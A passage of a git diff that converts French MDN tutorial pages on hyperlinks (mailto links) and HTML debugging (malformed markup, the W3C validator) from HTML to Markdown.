des pages à relier. Un menu de navigation n'est habituellement qu'une liste de liens, donc c'est ok sur le plan sémantique.</li> - <li>Changer chaque nom de page en un lien vers cette page.</li> - <li>Copier le menu de navigation dans chaque page.</li> - <li>Sur chaque page, enlever seulement le lien vers cette page, c'est source de confusion et sans objet pour une page que d'inclure un lien vers elle-même, et l'absence d'un lien constitue un bon rappel visuel pour se souvenir sur quelle page vous êtes actuellement.</li> -</ol> +1. Ajouter une liste non-ordonnée à l'endroit indiqué sur une page, qui contiendra les noms des pages à relier. Un menu de navigation n'est habituellement qu'une liste de liens, donc c'est ok sur le plan sémantique. +2. Changer chaque nom de page en un lien vers cette page. +3. Copier le menu de navigation dans chaque page. +4. Sur chaque page, enlever seulement le lien vers cette page, c'est source de confusion et sans objet pour une page que d'inclure un lien vers elle-même, et l'absence d'un lien constitue un bon rappel visuel pour se souvenir sur quelle page vous êtes actuellement. -<p>L'exemple terminé devrait finir par ressembler à quelque chose comme ce qui suit :</p> +L'exemple terminé devrait finir par ressembler à quelque chose comme ce qui suit : -<p><img alt="Un exemple d'un menu de navigation HTML simple, avec les éléments page d'accueil, images, projets et menu des réseaux sociaux." src="accueil.png"></p> + -<div class="note"> -<p><strong>Note :</strong> si vous êtes bloqué, ou n'êtes pas sûr d'avoir bien compris, vous pouvez vérifier le dossier <a href="https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/navigation-menu-marked-up">navigation-menu-marked-up</a> pour voir la réponse correcte.</p> -</div> +> **Note :** si vous êtes bloqué, ou n'êtes pas sûr d'avoir bien compris, vous pouvez vérifier le dossier [navigation-menu-marked-up](https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/navigation-menu-marked-up) pour voir la réponse correcte. -<h2 id="Liens_de_courriel">Liens de courriel</h2> +## Liens de courriel -<p>Il est possible de créer des liens ou des boutons qui, losrqu'ils sont cliqués, ouvrent un nouveau message de courriel sortant plutôt que de faire un lien vers une ressource ou une page. C'est fait en utilisant l'élément {{HTMLElement("a")}} et le schéma d'URL <code>mailto:</code>.</p> +Il est possible de créer des liens ou des boutons qui, losrqu'ils sont cliqués, ouvrent un nouveau message de courriel sortant plutôt que de faire un lien vers une ressource ou une page. C'est fait en utilisant l'élément {{HTMLElement("a")}} et le schéma d'URL `mailto:`. -<p>Sous sa forme la plus basique et la plus communément utilisée, un lien <code>mailto:</code> indique simplement l'adresse du destinataire voulu. Par exemple :</p> +Sous sa forme la plus basique et la plus communément utilisée, un lien `mailto:` indique simplement l'adresse du destinataire voulu. Par exemple : -<pre class="brush: html"><a href="mailto:nullepart@mozilla.org">Envoyer un courriel à nullepart</a> -</pre> +```html +<a href="mailto:nullepart@mozilla.org">Envoyer un courriel à nullepart</a> +``` -<p>Ceci donne un résultat qui ressemble à ceci : <a href="mailto:nowhere@mozilla.org">Envoyer un courriel à nullepart</a>.</p> +Ceci donne un résultat qui ressemble à ceci : [Envoyer un courriel à nullepart](mailto:nowhere@mozilla.org). -<p>En fait, l'adresse de courriel est même optionnelle. Si vous l'omettez (c'est-à-dire, si votre {{htmlattrxref("href", "a")}} est simplement "mailto:"), une nouvelle fenêtre de courriel sortant sera ouverte par le client de courriel de l'utilisateur, sans adresse de destination encore spécifiée. C'est souvent utile comme pour les liens "Partager" que lesquels les utilisateurs peuvent cliquer pour envoyer un email à l'adresse de leur choix.</p> +En fait, l'adresse de courriel est même optionnelle. Si vous l'omettez (c'est-à-dire, si votre {{htmlattrxref("href", "a")}} est simplement "mailto:"), une nouvelle fenêtre de courriel sortant sera ouverte par le client de courriel de l'utilisateur, sans adresse de destination encore spécifiée. C'est souvent utile comme pour les liens "Partager" que lesquels les utilisateurs peuvent cliquer pour envoyer un email à l'adresse de leur choix. -<h3 id="Spécification_des_détails">Spécification des détails</h3> +### Spécification des détails -<p>En plus de l'adresse mail, vous pouvez fournir d'autres informations. En fait, tous les champs d'en-tête standards peuvent être ajoutés à l'URL <code>mailto</code> que vous fournissez. Les plus couramment utilisés parmi ceux-ci sont <code>subject</code>, <code>cc</code> et <code>body</code> (qui n'est pas à proprement parler un champ d'en-tête, mais qui vous permet d'indiquer un court message de contenu pour le nouveau courriel). Chaque champ est indiqué en termes de requête.</p> +En plus de l'adresse mail, vous pouvez fournir d'autres informations. En fait, tous les champs d'en-tête standards peuvent être ajoutés à l'URL `mailto` que vous fournissez. Les plus couramment utilisés parmi ceux-ci sont `subject`, `cc` et `body` (qui n'est pas à proprement parler un champ d'en-tête, mais qui vous permet d'indiquer un court message de contenu pour le nouveau courriel). Chaque champ est indiqué en termes de requête. -<p>Voici un exemple incluant cc (carbon copy), bcc (blind cc), subject (sujet) et body :</p> +Voici un exemple incluant cc (carbon copy), bcc (blind cc), subject (sujet) et body : -<pre class="brush: html"><a href="mailto:nullepart@mozilla.org?cc=nom2@rapidtables.com&bcc=nom3@rapidtables.com&subject=L%27objet%20du%20courriel&body=Le%20corps%20du%20courriel"> +```html +<a href="mailto:nullepart@mozilla.org?cc=nom2@rapidtables.com&bcc=nom3@rapidtables.com&subject=L%27objet%20du%20courriel&body=Le%20corps%20du%20courriel"> Envoyer un mail avec copie, copie cachée, sujet et corps de message -</a></pre> +</a> +``` -<div class="note"> -<p><strong>Note :</strong> La valeur de chaque champ doit être codée à la façon d'une URL, c'est-à-dire que les caractères non-imprimables (les caractères "invisibles" tels que les tabulations, les retours chariot et les sauts de page) et les espaces doivent être <a href="http://en.wikipedia.org/wiki/Percent-encoding">percent-escaped</a>. Notez également l'utilisation du point d'interrogation (<code>?</code>) pour séparer l'URL principale des valeurs de champ et de l'esperluette (&) pour séparer chaque champ dans l'URL <code>mailto:</code>. C'est la notation standard des requêtes URL. Lire <a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_donn%C3%A9es_des_formulaires#La_méthode_GET">La méthode GET</a> pour comprendre ce pourquoi la notation de requête URL est habituellement le plus souvent utilisée.</p> -</div> +> **Note :** La valeur de chaque champ doit être codée à la façon d'une URL, c'est-à-dire que les caractères non-imprimables (les caractères "invisibles" tels que les tabulations, les retours chariot et les sauts de page) et les espaces doivent être [percent-escaped](http://en.wikipedia.org/wiki/Percent-encoding). Notez également l'utilisation du point d'interrogation (`?`) pour séparer l'URL principale des valeurs de champ et de l'esperluette (&) pour séparer chaque champ dans l'URL `mailto:`. C'est la notation standard des requêtes URL. Lire [La méthode GET](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_donn%C3%A9es_des_formulaires#La_méthode_GET) pour comprendre ce pourquoi la notation de requête URL est habituellement le plus souvent utilisée. -<p>Voici quelques autres exemples d'URL <code>mailto</code> :</p> +Voici quelques autres exemples d'URL `mailto` : -<ul> - <li><a href="mailto:">mailto:</a></li> - <li><a href="mailto:nullepart@mozilla.org">mailto:nullepart@mozilla.org</a></li> - <li><a href="mailto:nullepart@mozilla.org,personne@mozilla.org">mailto:nullepart@mozilla.org,personne@mozilla.org</a></li> - <li><a href="mailto:nullepart@mozilla.org">mailto:nullepart@mozilla.org?cc=personne@mozilla.org</a></li> - <li><a href="mailto:nullepart@mozilla.org?subject=Ceci%20est%20l'objet">mailto:nullepart@mozilla.org?cc=personne@mozilla.org&subject=Ceci%20est%20l%27objet</a></li> -</ul> +- <mailto:> +- <mailto:nullepart@mozilla.org> +- <mailto:nullepart@mozilla.org,personne@mozilla.org> +- [mailto:nullepart@mozilla.org?cc=personne@mozilla.org](mailto:nullepart@mozilla.org) +- [mailto:nullepart@mozilla.org?cc=personne@mozilla.org\&subject=Ceci%20est%20l%27objet](mailto:nullepart@mozilla.org?subject=Ceci%20est%20l'objet) -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>C'est tout pour les liens, du moins pour l'instant ! Vous reviendrez aux liens plus loin dans le cours quand vous en serez arrivé à les mettre en forme. Pour la prochaine étape HTML, nous reviendrons à l'analyse sémantique du texte et verrons quelques fonctionnalités plus avancées ou inhabituelles que vous trouverez utiles : le formatage avancé de texte est votre prochain arrêt.</p> +C'est tout pour les liens, du moins pour l'instant ! Vous reviendrez aux liens plus loin dans le cours quand vous en serez arrivé à les mettre en forme. Pour la prochaine étape HTML, nous reviendrons à l'analyse sémantique du texte et verrons quelques fonctionnalités plus avancées ou inhabituelles que vous trouverez utiles : le formatage avancé de texte est votre prochain arrêt. -<div>{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals", "Apprendre/HTML/Introduction_à_HTML/Advanced_text_formatting", "Apprendre/HTML/Introduction_à_HTML")}}</div> +{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals", "Apprendre/HTML/Introduction_à_HTML/Advanced_text_formatting", "Apprendre/HTML/Introduction_à_HTML")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Commencer avec le HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">Fondamentaux du texte HTML</a></li> - <li>Création d'hyperliens</li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Formatage avancé du texte</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Structure de Site Web et de document</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Déboguer de l'HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Faire une lettre</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structurer une page de contenu</a></li> -</ul> +- [Commencer avec le HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started) +- [Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML) +- [Fondamentaux du texte HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals) +- Création d'hyperliens +- [Formatage avancé du texte](/fr/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting) +- [Structure de Site Web et de document](/fr/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure) +- [Déboguer de l'HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML) +- [Faire une lettre](/fr/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter) +- [Structurer une page de contenu](/fr/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content) diff --git a/files/fr/learn/html/introduction_to_html/debugging_html/index.md b/files/fr/learn/html/introduction_to_html/debugging_html/index.md index ed0cfa6a2b..499393a774 100644 --- a/files/fr/learn/html/introduction_to_html/debugging_html/index.md +++ b/files/fr/learn/html/introduction_to_html/debugging_html/index.md @@ -13,182 +13,181 @@ tags: translation_of: Learn/HTML/Introduction_to_HTML/Debugging_HTML original_slug: Apprendre/HTML/Introduction_à_HTML/Debugging_HTML --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Document_and_website_structure", "Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter", "Apprendre/HTML/Introduction_à_HTML")}} -<div>{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Document_and_website_structure", "Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter", "Apprendre/HTML/Introduction_à_HTML")}}</div> - -<p>Écrire du code HTML, c'est bien, mais si quelque chose se passe mal, que faire pour trouver où est l'erreur dans le code ? Cet article vous indique divers outils pour vous aider à trouver et corriger les erreurs en HTML.</p> +Écrire du code HTML, c'est bien, mais si quelque chose se passe mal, que faire pour trouver où est l'erreur dans le code ? Cet article vous indique divers outils pour vous aider à trouver et corriger les erreurs en HTML. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Être familiarisé avec les bases du HTML, traitées aux pages <a href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started">Commencer avec le HTML,</a> <a href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">Fondamentaux du texte HTML </a>et <a href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/Creating_hyperlinks">Création d'hyperliens</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Apprendre les bases de l'utilisation des outils de débogage pour détecter des problèmes en HTML.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Être familiarisé avec les bases du HTML, traitées aux pages + <a + href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started" + >Commencer avec le HTML,</a + > + <a + href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals" + >Fondamentaux du texte HTML </a + >et + <a + href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/Creating_hyperlinks" + >Création d'hyperliens</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Apprendre les bases de l'utilisation des outils de débogage pour + détecter des problèmes en HTML. + </td> + </tr> + </tbody> </table> -<h2 id="Déboguer_n'est_pas_un_problème">Déboguer n'est pas un problème</h2> +## Déboguer n'est pas un problème + +Quand on écrit du code , tout va généralement bien, jusqu'au moment redouté où une erreur se produit — vous avez fait quelque chose d'incorrect, donc votre code ne fonctionne pas — soit pas du tout, soit pas tout à fait comme vous l'aviez souhaité. Par exemple, ce qui suit montre une erreur signalée lors d'une tentative de {{glossary("compile","compilation")}} d'un programme simple écrit en Rust. + +Ici, le message d'erreur est relativement facile à comprendre — « unterminated double quote string » : il manque un guillemet double ouvrant ou fermant pour envelopper la chaîne. Si vous regardez le listage, vous verrez `println!(Salut, Ô Monde!");` il manque un guillemet double. Cependant, des messages d'erreur peuvent devenir plus complexes et plus abscons au fur et à mesure que le programme grossit et, même dans des cas simples devenir intimidants à quelqu'un qui ne connaît rien du Rust. + +Déboguer ne doit toutefois pas devenir un problème — la clé pour être à l'aise lors de l'écriture et du débogage d'un programme réside dans une bonne connaissance à la fois du langage et des outils. + +## HTML et le débogage + +HTML n'est pas aussi compliqué à comprendre que le Rust. HTML n'est pas compilé sous une forme différente avant que le navigateur n'ait fait son analyse et affiche le résultat (il est _interprété_, pas _compilé_). Et la syntaxe des {{glossary("element","éléments")}} HTML est sans doute beaucoup plus facile à comprendre qu'un « vrai langage de programmation » tel le Rust, le {{glossary("JavaScript")}} ou le {{glossary("Python")}}. La façon dont les navigateurs analysent le HTML est beaucoup plus **permissive** que celle des langages de programmation, ce qui est à la fois une bonne et une mauvaise chose. + +### Code permissif + +Que voulons‑nous dire par permissif ? Et bien, quand vous faites une erreur dans du code, vous rencontrerez deux types principaux d'erreurs : + +- **Erreurs de syntaxe** : ce sont des « fautes d'orthographe » dans le code qui font que le programme ne fonctionne vraiment pas, comme l'erreur du Rust ci‑dessus. Elles sont généralement faciles à corriger pour autant que vous soyez à l'aise avec la syntaxe du langage et que vous sachiez ce que signifie le message d'erreur. +- **Erreurs de logique** : ce sont des erreurs dans lesquelles la syntaxe est réellement correcte, mais pour lesquelles le code ne correspond pas à vos souhaits, ce qui veut dire que le programme ne s'exécute pas correctement. Elles sont généralement plus difficiles à corriger que les erreurs de syntaxe, car il n'y a pas de message d'erreur pour vous guider à la source de l'erreur. + +HTML ne craint pas les erreurs de syntaxe, car les navigateurs l'analysent de manière permissive : la page s'affiche toujours même s'il y a des erreurs de syntaxe. Les navigateurs intègrent des règles indiquant comment interpréter un balisage incorrectement écrit, de sorte que vous obtiendrez toujours quelque chose à l'exécution, même si ce n'est pas ce que vous attendiez. Mais cela reste, bien sûr, toujours un problème ! + +> **Note :** HTML est analysé de façon permissive parce que, lorsque le Web a été créé pour la première fois, on a décidé qu'il était plus important de permettre aux gens de publier leur contenu que de s'assurer d'une syntaxe absolument correcte. Le web ne serait probablement pas aussi populaire qu'il l'est aujourd'hui, s'il avait été plus strict dans ses débuts. + +### Apprentissage actif : étude avec un code permissif + +Voici le moment venu d'étudier le caractère permissif du code HTML. + +1. Primo, télécharchez notre démo [debug-example ](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/debugging-html/debug-example.html)et enregistrez‑le localement. Cette démo est délibérement écrite avec des erreurs pour que nous puissions les examiner (le balisage HTML est dit **malformé**, par opposition à **bien-formé**). +2. Ensuite, ouvrez‑le dans un navigateur. Vous verrez quelque chose comme ceci : +3. Constatons que ce n'est pas terrible ; examinons le code source pour voir ce que nous pouvons en faire (seul le contenu de l'élément `body` est affiché) : + + <h1>Exemple de HTML à déboguer</h1> + + <p>Quelles sont les causes d'erreur en HTML ? -<p>Quand on écrit du code , tout va généralement bien, jusqu'au moment redouté où une erreur se produit — vous avez fait quelque chose d'incorrect, donc votre code ne fonctionne pas — soit pas du tout, soit pas tout à fait comme vous l'aviez souhaité. Par exemple, ce qui suit montre une erreur signalée lors d'une tentative de {{glossary("compile","compilation")}} d'un programme simple écrit en Rust.</p> + <ul> + <li>Éléments non fermés : si un élément n'est <strong>pas + fermé proprement, ses effets peuvent déborder sur des + zones que vous ne souhaitiez pas. -<p><img alt="Console montrant le résultat de la compilation d'un programme Rust avec guillemet manquant dans une chaîne textuelle dans une instruction d'affichage. Le message signalé est « erreur : guillemet double manquant dans la chaîne »." src="fr-erreur.png">Ici, le message d'erreur est relativement facile à comprendre — « unterminated double quote string » : il manque un guillemet double ouvrant ou fermant pour envelopper la chaîne. Si vous regardez le listage, vous verrez <code>println!(Salut, Ô Monde!");</code> il manque un guillemet double. Cependant, des messages d'erreur peuvent devenir plus complexes et plus abscons au fur et à mesure que le programme grossit et, même dans des cas simples devenir intimidants à quelqu'un qui ne connaît rien du Rust.</p> + <li>Éléments incorrectement imbriqués : imbriquer des + éléments proprement est également très important pour + que le code se comporte correctement. + <strong>caractères gras <em>ou gras et italiques ?</strong> + qu'est‑ce ?</em> -<p>Déboguer ne doit toutefois pas devenir un problème — la clé pour être à l'aise lors de l'écriture et du débogage d'un programme réside dans une bonne connaissance à la fois du langage et des outils.</p> + <li>Attributs non fermés : autre source courante de problèmes + en HTML. Voici un exemple: <a href="https://www.mozilla.org/> + lien à la page d'accueil de Mozilla</a> + </ul> -<h2 id="HTML_et_le_débogage">HTML et le débogage</h2> +4. Revoyons les problèmes : + - Les élements {{htmlelement("p")}} (paragraphe) et {{htmlelement("li")}} (élément de liste) n'ont pas de balise de fermeture. En voyant l'image ci‑dessus, cela ne semble pas avoir trop sévèrement affecté le rendu, car on voit bien où un élément se termine et où le suivant commence. + - Le premier élément {{htmlelement("strong")}} n'a pas de balise de fermeture. C'est un peu plus problématique, car il n'est pas possible de dire où l'élément est supposé se terminer. En fait, tout le reste du texte est en gras. + - Cette partie est mal imbriquée : `<strong>caractères gras <em>ou gras et italiques ?</strong> qu'est ce ?</em>`. Pas facile de dire comment il faut interpréter cela en raison du problème précédent. + - La valeur de l'attribut {{htmlattrxref("href","a")}} n'a pas de guillemet double fermant. C'est ce qui semble avoir posé le plus gros problème — le lien n'a pas été mentionné du tout. +5. Revoyons maintenant comment le navigateur a vu le balisage, par comparaison au balisage du code source. Pour ce faire, utilisons les outils de développement du navigateur. Si vous n'êtes pas un familier de l'utilisation des outils de développement du navigateur, prenez quelques minutes pour revoir [Découverte des outils de développement du navigateur](/fr/docs/Apprendre/D%C3%A9couvrir_outils_d%C3%A9veloppement_navigateurs). +6. Dans l'« Inspecteur », vous pouvez voir ce à quoi le balisage du rendu ressemble :  +7. Avec l'« Inspecteur », explorons le code en détail pour voir comment le navigateur a essayé de corriger nos erreurs HTML (nous avons fait la revue dans Firefox ; d'autres navigateurs modernes _devraient_ donner le même résultat) : -<p>HTML n'est pas aussi compliqué à comprendre que le Rust. HTML n'est pas compilé sous une forme différente avant que le navigateur n'ait fait son analyse et affiche le résultat (il est <em>interprété</em>, pas <em>compilé</em>). Et la syntaxe des {{glossary("element","éléments")}} HTML est sans doute beaucoup plus facile à comprendre qu'un « vrai langage de programmation » tel le Rust, le {{glossary("JavaScript")}} ou le {{glossary("Python")}}. La façon dont les navigateurs analysent le HTML est beaucoup plus <strong>permissive</strong> que celle des langages de programmation, ce qui est à la fois une bonne et une mauvaise chose.</p> + - Les éléments `p` et `li` ont été pourvus de balises fermantes. + - L'endroit où le premier élément `<strong>` doit être fermé n'est pas clair, donc le navigateur a enveloppé séparément chaque bloc de texte avec ses propres balises `strong`, jusqu'à la fin du document ! + - L'imbrication incorrecte a été corrigée ainsi : -<h3 id="Code_permissif">Code permissif</h3> + ```html + <strong>caractères gras + <em>ou caractères gras et italiques ?</em> + </strong> + <em> qu'est ce ?</em> + ``` -<p>Que voulons‑nous dire par permissif ? Et bien, quand vous faites une erreur dans du code, vous rencontrerez deux types principaux d'erreurs :</p> + - Le lien avec les guillemets manquants a été illico détruit. Le dernier élément `li` ressemble à ceci : -<ul> - <li><strong>Erreurs de syntaxe </strong>: ce sont des « fautes d'orthographe » dans le code qui font que le programme ne fonctionne vraiment pas, comme l'erreur du Rust ci‑dessus. Elles sont généralement faciles à corriger pour autant que vous soyez à l'aise avec la syntaxe du langage et que vous sachiez ce que signifie le message d'erreur.</li> - <li><strong>Erreurs de logique </strong>: ce sont des erreurs dans lesquelles la syntaxe est réellement correcte, mais pour lesquelles le code ne correspond pas à vos souhaits, ce qui veut dire que le programme ne s'exécute pas correctement. Elles sont généralement plus difficiles à corriger que les erreurs de syntaxe, car il n'y a pas de message d'erreur pour vous guider à la source de l'erreur.</li> -</ul> + ```html + <li> + <strong>Attributs non fermés : autre source courante de problèmes + en HTML. Voici un exemple :</strong> + </li> + ``` +### Validation d'un HTML +Comme vous pouvez le voir dans l'exemple ci-dessus, il faut s'assurer que votre HTML est bien formé ! Mais comment ? Dans un petit fichier comme celui qui précède, il est facile de chercher dans les lignes et de trouver les erreurs, mais qu'en est-il d'un document HTML énorme et complexe ? -<p>HTML ne craint pas les erreurs de syntaxe, car les navigateurs l'analysent de manière permissive : la page s'affiche toujours même s'il y a des erreurs de syntaxe. Les navigateurs intègrent des règles indiquant comment interpréter un balisage incorrectement écrit, de sorte que vous obtiendrez toujours quelque chose à l'exécution, même si ce n'est pas ce que vous attendiez. Mais cela reste, bien sûr, toujours un problème !</p> +La meilleure stratégie consiste à faire passer votre page HTML par le [Markup Validation Service (](https://validator.w3.org/)Service de validation de balisage) — créé et maintenu par le W3C, l'organisation s'occupant des normes définissant le HTML, les CSS et autres technologies web. Cet outil Web accepte un document HTML en entrée, le parcourt et fait le rapport de ce qui ne va pas dans le HTML soumis. -<div class="note"> -<p><strong>Note :</strong> HTML est analysé de façon permissive parce que, lorsque le Web a été créé pour la première fois, on a décidé qu'il était plus important de permettre aux gens de publier leur contenu que de s'assurer d'une syntaxe absolument correcte. Le web ne serait probablement pas aussi populaire qu'il l'est aujourd'hui, s'il avait été plus strict dans ses débuts.</p> -</div> + -<h3 id="Apprentissage_actif_étude_avec_un_code_permissif">Apprentissage actif : étude avec un code permissif</h3> +Pour définir le HTML à valider, vous pouvez donner une adresse web (_Validate by URI_) , téléverser un fichier HTML (_Validate by File Upload_) ou entrer directement du code HTML (_Validate by Direct Input_). -<p>Voici le moment venu d'étudier le caractère permissif du code HTML.</p> +### Apprentissage actif : validation d'un document HTML -<ol> - <li>Primo, télécharchez notre démo <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/debugging-html/debug-example.html">debug-example </a>et enregistrez‑le localement. Cette démo est délibérement écrite avec des erreurs pour que nous puissions les examiner (le balisage HTML est dit <strong>malformé</strong>, par opposition à <strong>bien-formé</strong>).</li> - <li>Ensuite, ouvrez‑le dans un navigateur. Vous verrez quelque chose comme ceci :<img alt="Un simple document HTML intitulé « Exemples de HTML à déboguer » et quelques informations sur les erreurs HTML courantes, telles que les éléments non fermés ou mal imbriqués et des attributs non fermés. " src="fr-html-errone.png"></li> - <li>Constatons que ce n'est pas terrible ; examinons le code source pour voir ce que nous pouvons en faire (seul le contenu de l'élément <code>body</code> est affiché) : - <pre> <h1>Exemple de HTML à déboguer</h1> +Essayons cet outil avec notre [document exemple](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/debugging-html/debug-example.html). - <p>Quelles sont les causes d'erreur en HTML ? +1. D'abord, chargez le [Markup Validation Service](https://validator.w3.org/) dans un des onglets du navigateur, si ce n'est déjà fait. +2. Basculez sur l'onglet [Validate by Direct Input](https://validator.w3.org/#validate_by_input). +3. Copiez la totalité du code du document (pas uniquement l'élément `body`) et collez-le dans la grande zone de texte affichée dans Markup Validation Service. +4. Pressez le bouton _Check_. - <ul> - <li>Éléments non fermés : si un élément n'est <strong>pas - fermé proprement, ses effets peuvent déborder sur des - zones que vous ne souhaitiez pas. +Cela vous donnera une liste d'erreurs et autres informations. - <li>Éléments incorrectement imbriqués : imbriquer des - éléments proprement est également très important pour - que le code se comporte correctement. - <strong>caractères gras <em>ou gras et italiques ?</strong> - qu'est‑ce ?</em> + - <li>Attributs non fermés : autre source courante de problèmes - en HTML. Voici un exemple: <a href="https://www.mozilla.org/> - lien à la page d'accueil de Mozilla</a> - </ul></pre> - </li> - <li>Revoyons les problèmes : - <ul> - <li>Les élements {{htmlelement("p")}} (paragraphe) et {{htmlelement("li")}} (élément de liste) n'ont pas de balise de fermeture. En voyant l'image ci‑dessus, cela ne semble pas avoir trop sévèrement affecté le rendu, car on voit bien où un élément se termine et où le suivant commence.</li> - <li>Le premier élément {{htmlelement("strong")}} n'a pas de balise de fermeture. C'est un peu plus problématique, car il n'est pas possible de dire où l'élément est supposé se terminer. En fait, tout le reste du texte est en gras.</li> - <li>Cette partie est mal imbriquée : <code><strong>caractères gras <em>ou gras et italiques ?</strong> qu'est ce ?</em></code>. Pas facile de dire comment il faut interpréter cela en raison du problème précédent.</li> - <li>La valeur de l'attribut {{htmlattrxref("href","a")}} n'a pas de guillemet double fermant. C'est ce qui semble avoir posé le plus gros problème — le lien n'a pas été mentionné du tout.</li> - </ul> - </li> - <li>Revoyons maintenant comment le navigateur a vu le balisage, par comparaison au balisage du code source. Pour ce faire, utilisons les outils de développement du navigateur. Si vous n'êtes pas un familier de l'utilisation des outils de développement du navigateur, prenez quelques minutes pour revoir <a href="/fr/docs/Apprendre/D%C3%A9couvrir_outils_d%C3%A9veloppement_navigateurs">Découverte des outils de développement du navigateur</a>.</li> - <li>Dans l'« Inspecteur », vous pouvez voir ce à quoi le balisage du rendu ressemble : <img alt="L'inspecteur HTML dans Firefox, avec le paragraphe de l'exemple en surbrillance, montrant le texte "Quelles sont les causes d'erreurs en HTML ? Ici, vous pouvez voir que l'élément de paragraphe a été fermé par le navigateur." src="fr-inspecteur.png"></li> - <li>Avec l'« Inspecteur », explorons le code en détail pour voir comment le navigateur a essayé de corriger nos erreurs HTML (nous avons fait la revue dans Firefox ; d'autres navigateurs modernes <em>devraient</em> donner le même résultat) : - <ul> - <li>Les éléments <code>p</code> et <code>li</code> ont été pourvus de balises fermantes.</li> - <li>L'endroit où le premier élément <code><strong></code> doit être fermé n'est pas clair, donc le navigateur a enveloppé séparément chaque bloc de texte avec ses propres balises <code>strong</code>, jusqu'à la fin du document !</li> - <li>L'imbrication incorrecte a été corrigée ainsi : - <pre class="brush: html"><strong>caractères gras - <em>ou caractères gras et italiques ?</em> -</strong> -<em> qu'est ce ?</em></pre> - </li> - <li>Le lien avec les guillemets manquants a été illico détruit. Le dernier élément <code>li</code> ressemble à ceci : - <pre class="brush: html"><li> - <strong>Attributs non fermés : autre source courante de problèmes -en HTML. Voici un exemple :</strong> -</li></pre> - </li> - </ul> - </li> -</ol> +#### Interprétation des messages d'erreur -<h3 id="Validation_d'un_HTML">Validation d'un HTML</h3> +Les messages d'erreur sont généralement utiles, mais parfois non ; avec un peu de pratique, vous trouverez comment les interpréter pour corriger votre code. Passons en revue les messages d'erreur et voyons leur signification. Chaque message est accompagné d'un numéro de ligne et de colonne pour faciliter la localisation de l'erreur. -<p>Comme vous pouvez le voir dans l'exemple ci-dessus, il faut s'assurer que votre HTML est bien formé ! Mais comment ? Dans un petit fichier comme celui qui précède, il est facile de chercher dans les lignes et de trouver les erreurs, mais qu'en est-il d'un document HTML énorme et complexe ?</p> +- « End tag `li` implied, but there were open elements » (2 instances) : ces messages indiquent qu'un élément ouvert devrait être fermé. La balise de fermeture est implicite, mais pas réellement mise. L'information ligne/colonne pointe sur la première ligne après laquelle la balise de fermeture devrait réellement se situer, mais c'est un bon indice pour voir ce qui ne va pas. +- « Unclosed element `strong` » : C'est facile à comprendre — un élément {{htmlelement("strong")}} n'est pas fermé ; l'information ligne/colonne pointe directement dessus. +- « End tag `strong` violates nesting rules » : signale des éléments incorrectement imbriqués et l'information ligne/colonne signale là où cela se trouve. +- « End of file reached when inside an attribute value. Ignoring tag » : c'est peu clair ; la remarque se rapporte au fait qu'il y a une valeur d'attribut improprement formée quelque part, peut-être près de la fin du fichier car la fin du fichier apparaît dans la valeur de l'attribut. Le fait que le navigateur ne rende pas le lien est un bon indice pour dire que cet élément est en faute. +- « End of file seen and there were open elements » : c'est un peu ambigu, mais se réfère au fait qu'à la base des éléments ouverts n'ont pas été proprement fermés. Les numéros de ligne pointent sur les dernières lignes du fichier et ce message d'erreur vient avec une ligne de code qui désigne un exemple d'élément ouvert : -<p>La meilleure stratégie consiste à faire passer votre page HTML par le <a href="https://validator.w3.org/">Markup Validation Service (</a>Service de validation de balisage) — créé et maintenu par le W3C, l'organisation s'occupant des normes définissant le HTML, les CSS et autres technologies web. Cet outil Web accepte un document HTML en entrée, le parcourt et fait 